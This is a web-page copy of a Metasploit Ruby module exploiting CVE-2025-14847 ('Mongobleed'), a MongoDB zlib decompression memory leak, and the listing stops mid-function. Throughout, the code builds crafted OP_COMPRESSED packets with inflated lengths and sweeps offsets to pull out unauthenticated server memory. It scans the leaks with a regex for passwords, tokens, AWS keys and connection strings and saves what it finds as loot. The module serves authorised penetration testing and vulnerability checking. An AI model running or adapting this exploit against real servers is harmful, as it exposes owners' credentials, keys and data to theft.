Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/scanner/mongodb/cve_2025_14847_mongobleed.rb
33939 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::Tcp
8
include Msf::Auxiliary::Scanner
9
include Msf::Auxiliary::Report
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'MongoDB Memory Disclosure (CVE-2025-14847) - Mongobleed',
16
'Description' => %q{
17
This module exploits a memory disclosure vulnerability in MongoDB's zlib
18
decompression handling (CVE-2025-14847). By sending crafted OP_COMPRESSED
19
messages with inflated BSON document lengths, the server reads beyond the
20
decompressed buffer and returns leaked memory contents in error messages.
21
22
The vulnerability allows unauthenticated remote attackers to leak server
23
memory which may contain sensitive information such as credentials, session
24
tokens, encryption keys, or other application data.
25
},
26
'Author' => [
27
'Alexander Hagenah', # Metasploit module (x.com/xaitax)
28
'Diego Ledda', # Co-author & review (x.com/jbx81)
29
'Joe Desimone' # Original discovery and PoC (x.com/dez_)
30
],
31
'License' => MSF_LICENSE,
32
'References' => [
33
['CVE', '2025-14847'],
34
['URL', 'https://www.wiz.io/blog/mongobleed-cve-2025-14847-exploited-in-the-wild-mongodb'],
35
['URL', 'https://jira.mongodb.org/browse/SERVER-115508'],
36
['URL', 'https://x.com/dez_']
37
],
38
'DisclosureDate' => '2025-12-19',
39
'DefaultOptions' => {
40
'RPORT' => 27017
41
},
42
'Notes' => {
43
'Stability' => [CRASH_SAFE],
44
'SideEffects' => [IOC_IN_LOGS],
45
'Reliability' => [REPEATABLE_SESSION]
46
},
47
'Actions' => [
48
['SCAN', { 'Description' => 'Scan and exploit memory leak vulnerability' }],
49
['CHECK', { 'Description' => 'Quick vulnerability check using Wiz magic packet' }]
50
],
51
'DefaultAction' => 'SCAN'
52
)
53
)
54
55
register_options(
56
[
57
Opt::RPORT(27017),
58
OptInt.new('MIN_OFFSET', [true, 'Minimum BSON document length offset', 20]),
59
OptInt.new('MAX_OFFSET', [true, 'Maximum BSON document length offset', 8192]),
60
OptInt.new('STEP_SIZE', [true, 'Offset increment (higher = faster, less thorough)', 1]),
61
OptInt.new('BUFFER_PADDING', [true, 'Padding added to buffer size claim', 500]),
62
OptInt.new('LEAK_THRESHOLD', [true, 'Minimum bytes to report as interesting leak', 10]),
63
OptBool.new('QUICK_SCAN', [true, 'Quick scan mode - sample key offsets only', false]),
64
OptInt.new('REPEAT', [true, 'Number of scan passes (more passes = more data)', 1]),
65
OptBool.new('REUSE_CONNECTION', [true, 'Reuse TCP connection for faster scanning', true])
66
]
67
)
68
69
register_advanced_options(
70
[
71
OptBool.new('SHOW_ALL_LEAKS', [true, 'Show all leaked fragments, not just large ones', false]),
72
OptBool.new('SHOW_HEX', [true, 'Show hexdump of leaked data', false]),
73
OptString.new('SECRETS_PATTERN', [true, 'Regex pattern to detect sensitive data', 'password|secret|key|token|admin|AKIA|Bearer|mongodb://|mongo:|conn|auth']),
74
OptBool.new('FORCE_EXPLOIT', [true, 'Attempt exploitation even if version check indicates not vulnerable', false]),
75
OptInt.new('PROGRESS_INTERVAL', [true, 'Show progress every N offsets (0 to disable)', 500]),
76
OptBool.new('SAVE_RAW_RESPONSES', [true, 'Save all raw responses for offline analysis', false]),
77
OptBool.new('SAVE_JSON', [true, 'Save leaked data as JSON with metadata', true])
78
]
79
)
80
end
81
82
# MongoDB Wire Protocol constants
83
OP_QUERY = 2004 # Legacy query opcode
84
OP_REPLY = 1 # Legacy reply opcode
85
OP_COMPRESSED = 2012
86
OP_MSG = 2013
87
COMPRESSOR_ZLIB = 2
88
89
# Wiz Research "magic packet" for deterministic vulnerability detection
90
# This is a crafted OP_COMPRESSED message containing {\"a\": 1} with inflated uncompressedSize
91
WIZ_MAGIC_PACKET = [
92
'2a000000', # messageLength (42)
93
'01000000', # requestID
94
'00000000', # responseTo
95
'dc070000', # opCode (OP_COMPRESSED = 2012)
96
'dd070000', # originalOpcode (OP_MSG = 2013)
97
'32000000', # uncompressedSize (50 - inflated)
98
'02', # compressorId (zlib = 2)
99
'789c636080028144064620050002ca0073' # zlib compressed payload
100
].join.freeze
101
102
#
103
# Quick vulnerability check using Wiz Research magic packet
104
#
105
def run_check(ip)
106
print_status("Running vulnerability check against #{ip}:#{rport}...")
107
108
# First get version info
109
version_info = get_mongodb_version
110
if version_info
111
version_str = version_info[:version]
112
print_status("MongoDB version: #{version_str}")
113
vuln_status = check_vulnerable_version(version_str)
114
115
case vuln_status
116
when :patched
117
print_error("Version #{version_str} is PATCHED - not vulnerable")
118
return :safe
119
when :vulnerable, :vulnerable_eol
120
print_good("Version #{version_str} appears vulnerable, confirming with probe...")
121
when :unknown
122
print_warning("Version #{version_str} - vulnerability status unknown, testing...")
123
end
124
else
125
print_warning('Could not determine MongoDB version, testing anyway...')
126
end
127
128
# Check if zlib compression is enabled
129
compressors = get_server_compressors
130
if compressors
131
print_status("Server compressors: #{compressors.join(', ')}")
132
unless compressors.include?('zlib')
133
print_error('Server does not have zlib compression enabled (required for this vulnerability)')
134
return :safe
135
end
136
else
137
print_warning('Could not determine server compression support, testing anyway...')
138
end
139
140
# Send the Wiz magic packet to confirm exploitability
141
print_status('Sending Wiz magic packet to confirm vulnerability...')
142
result = send_magic_packet_check
143
case result
144
when :vulnerable
145
version_msg = version_info ? " (MongoDB #{version_info[:version]})" : ''
146
print_good("VULNERABLE - Server leaks memory via CVE-2025-14847#{version_msg}")
147
148
# Report the vulnerability
149
report_vuln(
150
host: ip,
151
port: rport,
152
proto: 'tcp',
153
name: name,
154
refs: references,
155
info: "Confirmed vulnerable via magic packet check#{version_msg}"
156
)
157
return :vulnerable
158
when :safe
159
print_status('Server did not leak memory (may be patched or zlib disabled)')
160
return :safe
161
when :detected
162
version_msg = version_info ? " (MongoDB #{version_info[:version]})" : ''
163
print_warning("Server appears to be MongoDB#{version_msg}, but could not confirm vulnerability")
164
print_status('Try running with ACTION=SCAN for full exploitation attempt')
165
return :detected
166
else
167
print_error('Could not determine vulnerability status')
168
return :unknown
169
end
170
end
171
172
#
173
# Send the Wiz Research magic packet and check for BSON signatures in leaked memory
174
#
175
def send_magic_packet_check
176
connect
177
packet = [WIZ_MAGIC_PACKET].pack('H*')
178
sock.put(packet)
179
180
response = recv_mongo_response
181
disconnect
182
183
return :unknown if response.nil? || response.empty?
184
185
# Check for BSON signatures in response indicating memory leak
186
# The Wiz template checks for 'BSON' in the zlib-decoded response or raw response
187
leaked = false
188
189
# Try to decompress and check
190
begin
191
if response.length > 25
192
opcode = response[12, 4].unpack1('V')
193
if opcode == OP_COMPRESSED
194
raw = Zlib::Inflate.inflate(response[25..])
195
leaked = true if raw&.upcase&.include?('BSON')
196
end
197
end
198
rescue Zlib::Error
199
# Decompression failed, check raw response
200
end
201
202
# Check raw response for BSON markers
203
leaked = true if response.upcase.include?('BSON')
204
205
# Also check for other leak indicators (field name errors, type errors)
206
leaked = true if response =~ /field name '[^']+'/
207
leaked = true if response =~ /unrecognized.*type/i
208
209
return :vulnerable if leaked
210
211
# If we got a valid MongoDB response but no leak, server might be patched
212
if response.length >= 16
213
msg_len = response.unpack1('V')
214
return :safe if msg_len > 0 && msg_len <= response.length
215
end
216
217
:detected
218
rescue ::Rex::ConnectionError, ::Errno::ECONNRESET
219
:unknown
220
rescue StandardError => e
221
vprint_error("Magic packet check error: #{e.message}")
222
:unknown
223
ensure
224
begin
225
disconnect
226
rescue StandardError
227
nil
228
end
229
end
230
231
#
232
# Get server's supported compressors from hello/isMaster response
233
#
234
def get_server_compressors
235
connect
236
# Send hello command to get server capabilities
237
response = send_command('admin', { 'hello' => 1, 'compression' => ['zlib', 'snappy', 'zstd'] })
238
disconnect
239
240
return nil if response.nil?
241
242
# Parse compression field from response
243
compressors = []
244
if response =~ /compression.*?\[(.*?)\]/m
245
compressor_list = ::Regexp.last_match(1)
246
compressors << 'zlib' if compressor_list.include?('zlib')
247
compressors << 'snappy' if compressor_list.include?('snappy')
248
compressors << 'zstd' if compressor_list.include?('zstd')
249
end
250
251
# Also check raw bytes for compressor strings
252
compressors << 'zlib' if response.include?('zlib') && !compressors.include?('zlib')
253
254
compressors.empty? ? nil : compressors
255
rescue StandardError
256
nil
257
ensure
258
begin
259
disconnect
260
rescue StandardError
261
nil
262
end
263
end
264
265
def check_vulnerable_version(version_str)
266
# Parse version for comparison
267
version_match = version_str.match(/^(\d+\.\d+\.\d+)/)
268
return :unknown unless version_match
269
270
mongodb_version = Rex::Version.new(version_match[1])
271
272
# Check against vulnerable version ranges per MongoDB JIRA SERVER-115508
273
if mongodb_version.between?(Rex::Version.new('3.6.0'), Rex::Version.new('3.6.99')) ||
274
mongodb_version.between?(Rex::Version.new('4.0.0'), Rex::Version.new('4.0.99')) ||
275
mongodb_version.between?(Rex::Version.new('4.2.0'), Rex::Version.new('4.2.99'))
276
return :vulnerable_eol
277
elsif mongodb_version.between?(Rex::Version.new('4.4.0'), Rex::Version.new('4.4.29')) ||
278
mongodb_version.between?(Rex::Version.new('5.0.0'), Rex::Version.new('5.0.31')) ||
279
mongodb_version.between?(Rex::Version.new('6.0.0'), Rex::Version.new('6.0.26')) ||
280
mongodb_version.between?(Rex::Version.new('7.0.0'), Rex::Version.new('7.0.27')) ||
281
mongodb_version.between?(Rex::Version.new('8.0.0'), Rex::Version.new('8.0.16')) ||
282
mongodb_version.between?(Rex::Version.new('8.2.0'), Rex::Version.new('8.2.2'))
283
return :vulnerable
284
elsif (mongodb_version >= Rex::Version.new('4.4.30') && mongodb_version < Rex::Version.new('5.0.0')) ||
285
(mongodb_version >= Rex::Version.new('5.0.32') && mongodb_version < Rex::Version.new('6.0.0')) ||
286
(mongodb_version >= Rex::Version.new('6.0.27') && mongodb_version < Rex::Version.new('7.0.0')) ||
287
(mongodb_version >= Rex::Version.new('7.0.28') && mongodb_version < Rex::Version.new('8.0.0')) ||
288
(mongodb_version >= Rex::Version.new('8.0.17') && mongodb_version < Rex::Version.new('8.2.0')) ||
289
(mongodb_version >= Rex::Version.new('8.2.3'))
290
return :patched
291
end
292
293
:unknown
294
end
295
296
def run_host(ip)
297
case action.name
298
when 'CHECK'
299
run_check(ip)
300
when 'SCAN'
301
run_scan(ip)
302
else
303
print_error("Unknown action: #{action.name}")
304
end
305
end
306
307
def run_scan(ip)
308
# Version detection and vulnerability check
309
version_info = get_mongodb_version
310
311
if version_info
312
version_str = version_info[:version]
313
print_status("MongoDB version: #{version_str}")
314
315
vuln_status = check_vulnerable_version(version_str)
316
case vuln_status
317
when :vulnerable_eol
318
print_good("Version #{version_str} is VULNERABLE (EOL, no fix available)")
319
when :vulnerable
320
print_good("Version #{version_str} is VULNERABLE to CVE-2025-14847")
321
when :patched
322
print_warning("Version #{version_str} appears to be PATCHED")
323
unless datastore['FORCE_EXPLOIT']
324
print_status('Set FORCE_EXPLOIT=true to attempt exploitation anyway')
325
return
326
end
327
print_status('FORCE_EXPLOIT enabled, continuing...')
328
when :unknown
329
print_warning("Version #{version_str} - vulnerability status unknown")
330
print_status('Proceeding with exploitation attempt...')
331
end
332
else
333
print_warning('Could not determine MongoDB version')
334
print_status('Proceeding with exploitation attempt...')
335
end
336
337
# Check compression support
338
compressors = get_server_compressors
339
if compressors
340
print_status("Server compressors: #{compressors.join(', ')}")
341
unless compressors.include?('zlib')
342
print_error('Server does not support zlib compression - vulnerability not exploitable')
343
print_status('The CVE-2025-14847 vulnerability requires zlib compression to be enabled')
344
return unless datastore['FORCE_EXPLOIT']
345
346
print_status('FORCE_EXPLOIT enabled, continuing anyway...')
347
end
348
else
349
vprint_warning('Could not determine server compression support, proceeding...')
350
end
351
352
# Perform the memory leak exploitation
353
exploit_memory_leak(ip, version_info)
354
end
355
356
def get_mongodb_version
357
connect
358
359
# Build buildInfo command using legacy OP_QUERY
360
# This works without authentication on most MongoDB configurations
361
response = send_command('admin', { 'buildInfo' => 1 })
362
disconnect
363
364
return nil if response.nil?
365
366
# Parse BSON response to extract version
367
parse_build_info(response)
368
rescue ::Rex::ConnectionError, ::Errno::ECONNRESET => e
369
vprint_error("Connection error during version check: #{e.message}")
370
nil
371
rescue StandardError => e
372
vprint_error("Error getting MongoDB version: #{e.message}")
373
nil
374
ensure
375
begin
376
disconnect
377
rescue StandardError
378
nil
379
end
380
end
381
382
def send_command(database, command)
383
# Build BSON document for command
384
bson_doc = build_bson_document(command)
385
386
# Build OP_QUERY packet
387
# flags (4 bytes) + fullCollectionName + numberToSkip (4) + numberToReturn (4) + query
388
collection_name = "#{database}.$cmd\x00"
389
390
query_body = [0].pack('V') # flags
391
query_body << collection_name # fullCollectionName (null-terminated)
392
query_body << [0].pack('V') # numberToSkip
393
query_body << [1].pack('V') # numberToReturn
394
query_body << bson_doc # query document
395
396
# Build header
397
request_id = rand(0xFFFFFFFF)
398
message_length = 16 + query_body.length
399
header = [message_length, request_id, 0, OP_QUERY].pack('VVVV')
400
401
# Send and receive
402
sock.put(header + query_body)
403
404
# Read response
405
response_header = sock.get_once(16, 5)
406
return nil if response_header.nil? || response_header.length < 16
407
408
msg_len, _req_id, _resp_to, opcode = response_header.unpack('VVVV')
409
return nil unless opcode == OP_REPLY
410
411
# Read rest of response
412
remaining = msg_len - 16
413
return nil if remaining <= 0
414
415
response_body = sock.get_once(remaining, 5)
416
return nil if response_body.nil?
417
418
# OP_REPLY structure:
419
# responseFlags (4) + cursorID (8) + startingFrom (4) + numberReturned (4) + documents
420
return nil if response_body.length < 20
421
422
response_body[20..] # Return documents portion
423
end
424
425
def build_bson_document(hash)
426
doc = ''.b
427
428
hash.each do |key, value|
429
case value
430
when Integer
431
if value.between?(-2_147_483_648, 2_147_483_647)
432
doc << "\x10" # int32 type
433
doc << "#{key}\x00" # key (cstring)
434
doc << [value].pack('V') # value
435
else
436
doc << "\x12" # int64 type
437
doc << "#{key}\x00"
438
doc << [value].pack('q<')
439
end
440
when Float
441
doc << "\x01" # double type
442
doc << "#{key}\x00"
443
doc << [value].pack('E')
444
when String
445
doc << "\x02" # string type
446
doc << "#{key}\x00"
447
doc << [value.length + 1].pack('V') # string length (including null)
448
doc << "#{value}\x00"
449
when TrueClass, FalseClass
450
doc << "\x08" # boolean type
451
doc << "#{key}\x00"
452
doc << (value ? "\x01" : "\x00")
453
end
454
end
455
456
doc << "\x00" # Document terminator
457
[doc.length + 4].pack('V') + doc # Prepend document length
458
end
459
460
def parse_build_info(bson_data)
461
return nil if bson_data.nil? || bson_data.length < 5
462
463
result = {}
464
465
# Parse BSON document
466
doc_len = bson_data[0, 4].unpack1('V')
467
return nil if doc_len > bson_data.length
468
469
pos = 4
470
while pos < doc_len - 1
471
type = bson_data[pos].ord
472
break if type == 0
473
474
pos += 1
475
476
# Read key (cstring)
477
key_end = bson_data.index("\x00", pos)
478
break if key_end.nil?
479
480
key = bson_data[pos...key_end]
481
pos = key_end + 1
482
483
case type
484
when 0x02 # String
485
str_len = bson_data[pos, 4].unpack1('V')
486
value = bson_data[pos + 4, str_len - 1]
487
pos += 4 + str_len
488
489
case key
490
when 'version'
491
result[:version] = value
492
when 'gitVersion'
493
result[:git_version] = value
494
when 'sysInfo'
495
result[:sys_info] = value
496
end
497
when 0x03 # Embedded document
498
sub_doc_len = bson_data[pos, 4].unpack1('V')
499
if key == 'buildEnvironment'
500
# Could parse this for more details
501
end
502
pos += sub_doc_len
503
when 0x10 # int32
504
pos += 4
505
when 0x12 # int64
506
pos += 8
507
when 0x01 # double
508
pos += 8
509
when 0x08 # boolean
510
pos += 1
511
when 0x04 # array
512
arr_len = bson_data[pos, 4].unpack1('V')
513
pos += arr_len
514
else
515
# Unknown type, try to continue
516
break
517
end
518
end
519
520
# Try alternate method if version not found (using hello/isMaster)
521
result[:version] ||= try_hello_command
522
523
result[:version] ? result : nil
524
end
525
526
def try_hello_command
527
begin
528
response = send_command('admin', { 'hello' => 1 })
529
return nil if response.nil?
530
531
# Look for version string in response
532
if response =~ /(\d+\.\d+\.\d+)/
533
return ::Regexp.last_match(1)
534
end
535
rescue StandardError
536
nil
537
end
538
nil
539
end
540
541
def exploit_memory_leak(ip, version_info)
542
all_leaked = ''.b
543
unique_leaks = Set.new
544
secrets_found = []
545
leak_details = [] # For JSON export
546
raw_responses = ''.b if datastore['SAVE_RAW_RESPONSES']
547
548
# Determine offsets to scan
549
offsets = generate_scan_offsets
550
total_offsets = offsets.size
551
repeat_count = datastore['REPEAT']
552
reuse_conn = datastore['REUSE_CONNECTION']
553
554
if repeat_count > 1
555
print_status("Running #{repeat_count} scan passes to maximize data collection...")
556
end
557
558
print_status('Connection reuse enabled for faster scanning') if reuse_conn
559
560
# Track overall progress
561
progress_interval = datastore['PROGRESS_INTERVAL']
562
@persistent_sock = nil
563
connection_errors = 0
564
max_conn_errors = 5
565
566
1.upto(repeat_count) do |pass|
567
if repeat_count > 1
568
print_status("=== Pass #{pass}/#{repeat_count} ===")
569
end
570
571
print_status("Scanning #{total_offsets} offsets (#{datastore['MIN_OFFSET']}-#{datastore['MAX_OFFSET']}, step=#{datastore['STEP_SIZE']}#{datastore['QUICK_SCAN'] ? ', quick mode' : ''})")
572
573
start_time = Time.now
574
scanned = 0
575
pass_leaks = 0
576
577
offsets.each do |doc_len|
578
# Progress reporting
579
scanned += 1
580
if progress_interval > 0 && (scanned % progress_interval == 0)
581
elapsed = Time.now - start_time
582
rate = scanned / elapsed
583
remaining = ((total_offsets - scanned) / rate).round
584
print_status("Progress: #{scanned}/#{total_offsets} (#{(scanned * 100.0 / total_offsets).round(1)}%) - #{unique_leaks.size} leaks found - ETA: #{remaining}s")
585
end
586
587
found_leak = probe_and_extract(doc_len, {
588
reuse_conn: reuse_conn,
589
unique_leaks: unique_leaks,
590
all_leaked: all_leaked,
591
secrets_found: secrets_found,
592
leak_details: leak_details,
593
raw_responses: raw_responses
594
})
595
596
if found_leak
597
pass_leaks += 1
598
end
599
600
connection_errors = 0 # Reset on success
601
rescue ::Rex::ConnectionError, ::Errno::ECONNRESET => e
602
connection_errors += 1
603
close_persistent_connection
604
vprint_error("Connection error at offset #{doc_len}: #{e.message}")
605
if connection_errors >= max_conn_errors
606
print_error("Too many connection errors (#{max_conn_errors}), aborting scan")
607
break
608
end
609
next
610
rescue ::Timeout::Error
611
close_persistent_connection
612
vprint_error("Timeout at offset #{doc_len}")
613
next
614
end
615
616
# Pass summary
617
if repeat_count > 1
618
print_status("Pass #{pass} complete: #{pass_leaks} new leaks (#{unique_leaks.size} total unique)")
619
end
620
end
621
622
# Clean up persistent connection
623
close_persistent_connection
624
625
# Overall summary and loot storage
626
if !all_leaked.empty?
627
# Report found secrets first
628
if secrets_found.any?
629
print_line
630
print_warning('Potential secrets detected:')
631
secrets_found.uniq.each do |secret|
632
print_warning(" - #{secret}")
633
end
634
end
635
636
print_line
637
print_good("Total leaked: #{all_leaked.length} bytes")
638
print_good("Unique fragments: #{unique_leaks.size}")
639
640
# Store leaked data as loot
641
loot_info = 'MongoDB Memory Disclosure (CVE-2025-14847)'
642
loot_info += " - Version: #{version_info[:version]}" if version_info&.dig(:version)
643
644
path = store_loot(
645
'mongodb.memory_leak',
646
'application/octet-stream',
647
ip,
648
all_leaked,
649
'mongobleed.bin',
650
loot_info
651
)
652
print_good("Leaked data saved to: #{path}")
653
654
# Save as JSON with metadata
655
if datastore['SAVE_JSON'] && leak_details.any?
656
json_data = generate_json_report(ip, version_info, leak_details, secrets_found)
657
json_path = store_loot(
658
'mongodb.memory_leak.json',
659
'application/json',
660
ip,
661
json_data,
662
'mongobleed.json',
663
'MongoDB memory leak data with metadata'
664
)
665
print_good("JSON report saved to: #{json_path}")
666
end
667
668
# Save raw responses if enabled
669
if datastore['SAVE_RAW_RESPONSES'] && !raw_responses.empty?
670
raw_path = store_loot(
671
'mongodb.memory_leak.raw',
672
'application/octet-stream',
673
ip,
674
raw_responses,
675
'mongobleed_raw.bin',
676
'Raw MongoDB responses for offline analysis'
677
)
678
print_good("Raw responses saved to: #{raw_path}")
679
end
680
681
# Report the vulnerability
682
vuln_info = "Leaked #{all_leaked.length} bytes of server memory"
683
vuln_info += " (MongoDB #{version_info[:version]})" if version_info&.dig(:version)
684
685
report_vuln(
686
host: ip,
687
port: rport,
688
proto: 'tcp',
689
name: name,
690
refs: references,
691
info: vuln_info
692
)
693
else
694
print_status("No data leaked from #{ip}:#{rport}")
695
end
696
end
697
698
#
699
# Probe a single offset and extract leaks
700
#
701
def probe_and_extract(doc_len, opts = {})
702
response = send_probe(doc_len, doc_len + datastore['BUFFER_PADDING'], reuse_connection: opts[:reuse_conn])
703
return false if response.nil? || response.empty?
704
705
# Save raw response if enabled
706
opts[:raw_responses] << response if datastore['SAVE_RAW_RESPONSES'] && opts[:raw_responses]
707
708
leaks = extract_leaks(response)
709
found_new_leak = false
710
711
leaks.each do |data|
712
next if opts[:unique_leaks].include?(data)
713
714
opts[:unique_leaks].add(data)
715
opts[:all_leaked] << data
716
found_new_leak = true
717
718
# Store leak details for JSON export
719
opts[:leak_details] << {
720
offset: doc_len,
721
length: data.length,
722
data: data,
723
printable: data.gsub(/[^[:print:]]/, '.'),
724
timestamp: Time.now.utc.iso8601,
725
has_secret: check_secrets(data, doc_len, opts[:secrets_found])
726
}
727
728
# Report large leaks or all if configured
729
next unless data.length > datastore['LEAK_THRESHOLD'] || datastore['SHOW_ALL_LEAKS']
730
731
preview = data.gsub(/[^[:print:]]/, '.')[0, 80]
732
print_good("offset=#{doc_len.to_s.ljust(4)} len=#{data.length.to_s.ljust(4)}: #{preview}")
733
734
# Show hex dump if enabled
735
if datastore['SHOW_HEX'] && !data.empty?
736
print_hexdump(data)
737
end
738
end
739
740
found_new_leak
741
end
742
743
#
744
# Generate JSON report with all leak data and metadata
745
#
746
def generate_json_report(ip, version_info, leak_details, secrets_found)
747
report = {
748
scan_info: {
749
target: ip,
750
port: rport,
751
mongodb_version: version_info&.dig(:version),
752
scan_time: Time.now.utc.iso8601,
753
cve: 'CVE-2025-14847'
754
},
755
scan_parameters: {
756
min_offset: datastore['MIN_OFFSET'],
757
max_offset: datastore['MAX_OFFSET'],
758
step_size: datastore['STEP_SIZE'],
759
quick_scan: datastore['QUICK_SCAN'],
760
repeat_passes: datastore['REPEAT']
761
},
762
summary: {
763
total_leaks: leak_details.size,
764
total_bytes: leak_details.sum { |l| l[:length] },
765
secrets_found: secrets_found.size,
766
unique_offsets: leak_details.map { |l| l[:offset] }.uniq.size
767
},
768
secrets: secrets_found.uniq,
769
leaks: leak_details.map do |leak|
770
{
771
offset: leak[:offset],
772
length: leak[:length],
773
data_base64: Rex::Text.encode_base64(leak[:data]),
774
data_printable: leak[:printable][0, 200],
775
has_secret: leak[:has_secret],
776
timestamp: leak[:timestamp]
777
}
778
end
779
}
780
781
JSON.pretty_generate(report)
782
end
783
784
#
785
# Send probe with optional connection reuse
786
#
787
def send_probe(doc_len, buffer_size, reuse_connection: true)
788
packet = build_probe_packet(doc_len, buffer_size)
789
790
if reuse_connection
791
# Use persistent connection for speed
792
begin
793
ensure_persistent_connection
794
@persistent_sock.put(packet)
795
recv_mongo_response_from(@persistent_sock)
796
rescue StandardError
797
# Connection failed, try fresh connection
798
close_persistent_connection
799
send_probe_fresh(packet)
800
end
801
else
802
send_probe_fresh(packet)
803
end
804
end
805
806
def build_probe_packet(doc_len, buffer_size)
807
# Build minimal BSON content - we lie about total length to trigger the bug
808
# int32 field "a" with value 1
809
bson_content = "\x10a\x00\x01\x00\x00\x00".b
810
811
# BSON document with inflated length (this is the key to the exploit)
812
bson = [doc_len].pack('V') + bson_content
813
814
# Wrap in OP_MSG structure
815
# flags (4 bytes) + section kind (1 byte) + BSON
816
op_msg = [0].pack('V') + "\x00".b + bson
817
818
# Compress the OP_MSG payload
819
compressed_data = Zlib::Deflate.deflate(op_msg)
820
821
# Build OP_COMPRESSED payload
822
# originalOpcode (4 bytes) + uncompressedSize (4 bytes) + compressorId (1 byte) + compressedData
823
payload = [OP_MSG].pack('V')
824
payload << [buffer_size].pack('V') # Claimed uncompressed size (inflated)
825
payload << [COMPRESSOR_ZLIB].pack('C')
826
payload << compressed_data
827
828
# MongoDB wire protocol header
829
# messageLength (4 bytes) + requestID (4 bytes) + responseTo (4 bytes) + opCode (4 bytes)
830
message_length = 16 + payload.length
831
header = [message_length, rand(0xFFFFFFFF), 0, OP_COMPRESSED].pack('VVVV')
832
833
header + payload
834
end
835
836
def ensure_persistent_connection
837
return if @persistent_sock && !@persistent_sock.closed?
838
839
connect
840
@persistent_sock = sock
841
end
842
843
def close_persistent_connection
844
return unless @persistent_sock
845
846
begin
847
@persistent_sock.close unless @persistent_sock.closed?
848
rescue StandardError
849
nil
850
end
851
@persistent_sock = nil
852
end
853
854
def send_probe_fresh(packet)
855
response = nil
856
begin
857
connect
858
sock.put(packet)
859
response = recv_mongo_response
860
ensure
861
begin
862
disconnect
863
rescue StandardError
864
nil
865
end
866
end
867
response
868
end
869
870
def recv_mongo_response
871
recv_mongo_response_from(sock)
872
end
873
874
def recv_mongo_response_from(socket)
875
# Read header first (16 bytes minimum)
876
header = socket.get_once(16, 2)
877
return nil if header.nil? || header.length < 4
878
879
msg_len = header.unpack1('V')
880
return header if msg_len <= 16
881
882
# Read remaining data
883
remaining = msg_len - header.length
884
if remaining > 0
885
data = socket.get_once(remaining, 2)
886
return header if data.nil?
887
888
header + data
889
else
890
header
891
end
892
rescue ::Timeout::Error, ::EOFError
893
nil
894
end
895
896
#
897
# Extract leaks with additional patterns (raw bytes, BSON markers, strings)
898
#
899
def extract_leaks(response)
900
return [] if response.nil? || response.length < 25
901
902
leaks = []
903
904
begin
905
msg_len = response.unpack1('V')
906
return [] if msg_len > response.length
907
908
# Check if response is compressed (opcode at offset 12)
909
opcode = response[12, 4].unpack1('V')
910
911
raw = nil
912
if opcode == OP_COMPRESSED
913
# Decompress: skip header (16) + originalOpcode (4) + uncompressedSize (4) + compressorId (1) = 25 bytes
914
begin
915
raw = Zlib::Inflate.inflate(response[25, msg_len - 25])
916
rescue Zlib::Error
917
# Try without decompression
918
raw = response[25, msg_len - 25]
919
end
920
else
921
# Uncompressed OP_MSG - skip header
922
raw = response[16, msg_len - 16]
923
end
924
925
return [] if raw.nil?
926
927
# Extract field names from BSON parsing errors
928
raw.scan(/field name '([^']*)'/) do |match|
929
data = match[0]
930
next if data.nil? || data.empty?
931
next if ['?', 'a', '$db', 'ping', 'ok', 'errmsg', 'code', 'codeName'].include?(data)
932
933
leaks << data
934
end
935
936
# Extract type bytes from unrecognized BSON type errors
937
raw.scan(/(?:unrecognized|unknown|invalid)\s+(?:BSON\s+)?type[:\s]+(\d+)/i) do |match|
938
type_byte = match[0].to_i & 0xFF
939
leaks << type_byte.chr if type_byte > 0
940
end
941
942
# Extract any quoted strings from error messages (broader pattern)
943
raw.scan(/'([^']{4,})'/) do |match|
944
data = match[0]
945
next if data.nil? || data.empty?
946
next if data.length < 4 # Skip very short strings
947
next if data =~ /^\$?[a-z]+$/i && data.length < 8 # Skip simple field names
948
949
leaks << data
950
end
951
952
# Extract printable ASCII sequences from raw bytes (minimum 6 chars)
953
raw.scan(/[\x20-\x7E]{6,}/) do |match|
954
next if match.nil? || match.empty?
955
# Filter out common MongoDB response strings
956
next if match =~ /^(errmsg|codeName|ok|code|\$db|admin)$/
957
next if leaks.include?(match)
958
959
leaks << match
960
end
961
962
# Look for MongoDB connection strings
963
raw.scan(%r{mongodb(?:\+srv)?://[^\s"'<>]+}) do |match|
964
leaks << match unless leaks.include?(match)
965
end
966
967
# Look for potential JSON/BSON fragments
968
raw.scan(/\{[^{}]{5,100}\}/) do |match|
969
next if match.nil? || match.empty?
970
next if match =~ /^\{\s*\}$/ # Skip empty objects
971
972
leaks << match unless leaks.include?(match)
973
end
974
rescue Zlib::Error => e
975
vprint_error("Decompression error: #{e.message}")
976
rescue StandardError => e
977
vprint_error("Error extracting leaks: #{e.message}")
978
end
979
980
leaks.uniq
981
end
982
983
def check_secrets(data, offset, secrets_found)
984
pattern = Regexp.new(datastore['SECRETS_PATTERN'], Regexp::IGNORECASE)
985
return false unless data =~ pattern
986
987
match = ::Regexp.last_match[0]
988
match_pos = ::Regexp.last_match.begin(0)
989
990
# Extract context around the match (20 chars before and after)
991
context_start = [match_pos - 20, 0].max
992
context_end = [match_pos + match.length + 20, data.length].min
993
context = data[context_start...context_end].gsub(/[^[:print:]]/, '.')
994
995
# Highlight position in context
996
secret_info = "Pattern '#{match}' at offset #{offset}"
997
secret_info += " (pos #{match_pos}): ...#{context}..."
998
999
secrets_found << secret_info
1000
print_warning("Secret pattern detected at offset #{offset}: '#{match}' in context: ...#{context}...")
1001
true
1002
end
1003
1004
def generate_scan_offsets
1005
min_off = datastore['MIN_OFFSET']
1006
max_off = datastore['MAX_OFFSET']
1007
step = datastore['STEP_SIZE']
1008
1009
if datastore['QUICK_SCAN']
1010
# Quick scan mode: sample key offsets that typically yield results
1011
# Based on common BSON document sizes and memory alignment
1012
quick_offsets = []
1013
1014
# Small offsets (header area)
1015
quick_offsets += (20..100).step(5).to_a
1016
1017
# Power of 2 boundaries (common allocation sizes)
1018
[128, 256, 512, 1024, 2048, 4096, 8192].each do |boundary|
1019
next if boundary < min_off || boundary > max_off
1020
1021
# Sample around boundaries
1022
(-10..10).step(2).each do |delta|
1023
off = boundary + delta
1024
quick_offsets << off if off >= min_off && off <= max_off
1025
end
1026
end
1027
1028
# Sample every 128 bytes for broader coverage
1029
quick_offsets += (min_off..max_off).step(128).to_a
1030
